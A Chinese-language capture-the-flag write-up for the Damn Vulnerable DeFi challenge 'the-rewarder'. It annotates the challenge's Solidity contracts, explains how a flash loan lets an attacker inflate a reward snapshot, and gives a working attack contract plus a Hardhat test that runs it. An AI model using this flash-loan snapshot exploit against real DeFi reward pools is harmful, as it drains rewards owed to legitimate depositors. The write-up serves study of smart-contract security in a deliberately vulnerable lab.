跳到主要内容

the-rewarder

题目链接:https://www.damnvulnerabledefi.xyz/challenges/5.html

题目描述:

有一个池子每 5 天为将 DVT 代币存入其中的人提供代币奖励。Alice、Bob、Charlie 和 David 已经存入了一些 DVT 代币,并赢得了他们的奖励!

而你没有任何 DVT 代币。但在即将到来的一轮中,你必须为自己索取最多的奖励。

本题目录中共有 4 个智能合约

  • AccountingToken.sol
  • FlashLoaderPool.sol
  • RewardToken.sol
  • TheRewarderPool.sol

AccountingToken.sol

// 继承自 ERC20Snapshot 和 AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
// 定义三个角色 minter, snapshot, burner
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}

function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}
// 销毁代币
function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}
// 执行快照
function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}

// Do not need transfer of this token
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}

// Do not need allowance of this token
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}

AccountingToken 是一个代币合约,代币 namerTokensymbolrTKN。继承自 openzeppelin 中的

  • ERC20Snapshot.sol:该合约主要用来记录每次进行快照时,某个地址有多少余额。其内部有以下几个变量:
    • _currentSnapshotId:自增变量 ,用来记录每次执行快照的 id。
    • _accountBalanceSnapshots:记录地址对应的每次快照的余额。快照的余额通过结构体 Snapshots 存储
    • _totalSupplySnapshots:记录每次快照记录的代币总量
  • AccessControl.sol:用来处理角色相关的合约。本质就是存储每个角色下所拥有的地址。

在该合约的构造函数,给 sender 赋予了四种角色

  • admin_role
  • minter_role
  • snapshot_role
  • burner_role

并且调用方法 mintburnsnapshot 都需要 sender拥有对应的角色。

flashLoanerPool.sol

contract FlashLoanerPool is ReentrancyGuard {

using Address for address;

// DVT token的实例
DamnValuableToken public immutable liquidityToken;

constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}

// 闪电贷方法
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");

require(msg.sender.isContract(), "Borrower must be a deployed contract");

// 将 DVT token 发送给sender
liquidityToken.transfer(msg.sender, amount);

// 回调 receiveFlashLoan 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);

require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}

借贷池合约,提供闪电贷功能。并在闪电贷方法内会回调方法 receiveFlashLoan

RewardToken.sol

contract RewardToken is ERC20, AccessControl {

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}

function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}

token 合约,代币 symbolRWT, 并且只有 minter_role 角色可以进行 mint

TheRewarderPool.sol

contract TheRewarderPool {

// Minimum duration of each round of rewards in seconds
// 多久进行一次奖励
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

// 上次为了奖励所执行快照的id
uint256 public lastSnapshotIdForRewards;
// 上次执行快照的时间戳
uint256 public lastRecordedSnapshotTimestamp;

// 记录地址上次发放奖励的时间
mapping(address => uint256) public lastRewardTimestamps;

// DVT token的实例
DamnValuableToken public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
// rTKN token的实例
AccountingToken public accToken;

// RWT token的实例
RewardToken public immutable rewardToken;

// 记录发放奖励的轮次
uint256 public roundNumber;

constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

// 存入DVT token
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");

// 给予等量的rTKN token
accToken.mint(msg.sender, amountToDeposit);
// 分发奖励
distributeRewards();
// 将调用者账户的 DVT token 存入该该合约地址中(需要授权)
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}

// 提取DVt token
function withdraw(uint256 amountToWithdraw) external {
// 销毁 rTKN token
accToken.burn(msg.sender, amountToWithdraw);
// 从该合约账户转到调用者账户
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}

// 分发奖励
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;

// 根据时间判断是否是新的一轮奖励发放时间
if(isNewRewardsRound()) {
_recordSnapshot();
}
// 上次快照 rTKN token 的总存入量
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
// 上次快照时 调用者sender 的存入量
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// sender的存入量大于0,且总存入量大于0
if (amountDeposited > 0 && totalDeposits > 0) {
// 根据占比计算奖励的数量
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
// 可获得的奖励大于0, 且未收到过奖励
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// 给予奖励 RWT token
rewardToken.mint(msg.sender, rewards);
// 记录领取奖励的时间
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}

return rewards;
}
// 执行快照
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}

// 根据领取奖励的时间判断是否领取过奖励
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

// 是否是新的一轮奖励发放:当前时间 >= 上次奖励时间 + 5 days
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

奖励池合约,当我们调用 deposit 方法存入 DVT token 时,会给你等量的 rTKN token。之后分发奖励也会根据你所持有的 rTKN token的数量进行等比例分发 RWT token

通过合约的源码,此时可以做个简单的总结:

有三个 token, 分别是

  • DVT token
  • rTKN token
  • RWT token

每当有用户在奖励池合约中存入 DVT token 时,会给予等量的 rTKN token。并根据当前区块时间判断是否到了新一轮的奖励分发时间。如果到了,则执行快照,记录此时持有 rTKN token的所有账户及其余额。并根据快照的数据按比例分发 RWT token

或者用户主动调用 distributeRewards 去领取奖励。

此时再回过头看下该题的问题:你没有 DVT token,但你需要在新一轮的奖励分发时获取最多的奖励。也就意味着在快照时,你需要拥有大量的 rTKN token, 而拥有 rTKN token 的前提是存入 DVT token。但是题目明确说明了你没有 DVT token。所以要想拥有 DVT token ,只能通过借贷池合约借出 DVT token

此时就能明确我们的攻击流程:

  • 在新一轮的奖励分发时,通过闪电贷借出全部的 DVT token
  • 在闪电贷的回调方法中,通过调用奖励池合约中的 deposit 方法,将借出的 DVT token 存入,并获得等量的 rTKN token , 此时会执行快照,并分发奖励,获得 RWT token
  • 调用奖励池合约的 withdraw, 销毁拥有的 rTKN token,并将存入的 DVT token 返还给调用者。
  • DVT token 返还给借贷池合约。
  • 将获得的 RWT token 转出到攻击者账户。

因此可以写出我们的攻击合约

TheRewarderAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";

contract TheRewarderAttack {
// 奖励池合约
TheRewarderPool public rewarderPool;
// 借贷池合约
FlashLoanerPool public flashLoanerPool;
// DVT token
IERC20 public liquidityToken;

constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
rewarderPool = TheRewarderPool(_rewarderPool);
flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
liquidityToken = IERC20(_token);
}
// 闪电贷回调方法
function receiveFlashLoan(uint amount) public {
// 授权 rewarderPool 可以动用 amount 数量的DVT token
liquidityToken.approve(address(rewarderPool), amount);
// 存入DVT token
rewarderPool.deposit(amount);
// 取出DVT token
rewarderPool.withdraw(amount);
// 返还借出的 DVT token 到借贷池合约
liquidityToken.transfer(address(flashLoanerPool), amount);
}

function attack (uint amount) external {
// 执行闪电贷
flashLoanerPool.flashLoan(amount);
// 将获得的 RWT token 转出到 sender
rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
}
}

最后在测试用例 the-rewarder.challenge.js 编写我们的执行代码

it('Exploit', async function () {
// 部署攻击合约
const TheRewarderAttackFactory = await ethers.getContractFactory(
'TheRewarderAttack',
attacker
)
const attackContract = await TheRewarderAttackFactory.deploy(
this.rewarderPool.address,
this.flashLoanPool.address,
this.liquidityToken.address
)
// 增加时间到5天后
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
// 执行攻击方法
await attackContract.attack(TOKENS_IN_LENDER_POOL)
})

执行 yarn the-rewarder, 测试通过!

完整代码